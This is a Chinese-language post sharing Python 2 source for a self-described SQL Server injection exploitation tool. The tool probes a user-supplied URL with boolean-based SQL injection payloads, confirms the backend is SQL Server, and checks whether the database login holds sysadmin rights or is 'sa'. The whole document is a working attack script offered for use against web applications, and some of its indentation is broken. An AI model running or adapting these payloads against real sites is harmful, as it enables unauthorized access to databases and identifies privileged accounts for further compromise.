Python编写检测数据库SA用户的方法

本文讲述一个用Python写的小程序，用于有注入点的链接，以检测当前数据库用户是否为sa，详细代码如下：

# Code by zhaoxiaobu Email: little.bu@hotmail.com
#-*- coding: UTF-8 -*-
from sys import exit
from urllib import urlopen
from string import join,strip
from re import search

def is_sqlable():
  sql1="%20and%201=2"
  sql2="%20and%201=1"
  urlfile1=urlopen(url+sql1)
  urlfile2=urlopen(url+sql2)
  htmlcodes1=urlfile1.read()
  htmlcodes2=urlfile2.read()
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2):
  print "[信息]恭喜!这个URL是有注入漏洞的!n"
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."
  is_SQLServer()
  else:
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer():
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"
  urlfile=urlopen(url+sql)
  htmlcodes=urlfile.read()
  if not search(judge,htmlcodes):
  print "[错误]数据库好像不是SQL Server的!n"
  else:
  print "[信息]确认是SQL Server数据库!n"
  print "[信息]开始检测当前数据库用户权限,请耐心等待......"
  is_sysadmin()


def is_sysadmin():
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"
  urlfile = urlopen(url+sql)
  htmlcodes = urlfile.read()
  if not search(judge,htmlcodes):
    print "[错误]当前数据库用户不具有sysadmin权限!n"
  else:
    print "[信息]当前数据库用户具有sysadmin权限!n"
    print "[信息]检测当前用户是不是SA,请耐心等待......"
    is_sa()

def is_sa():
  sql = "%20and%20'sa'=(select%20System_user)";
  urlfile = urlopen(url+sql)
  htmlcodes = urlfile.read()
  if not search(judge,htmlcodes):
    print "[错误]当前数据库用户不是SA!n"
  else:
    print "[信息]当前数据库用户是SA!n"

print "n########################################################################n"
print "            ^o^SQL Server注入利用工具^o^     "
print "           Email: little.bu@hotmail.comn"
print "========================================================================";
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')
if url == '':
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"
  exit(1)

judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")
if judge == '':
  print "[错误]判断字符串不能为空!"
  exit(1)

is_sqlable()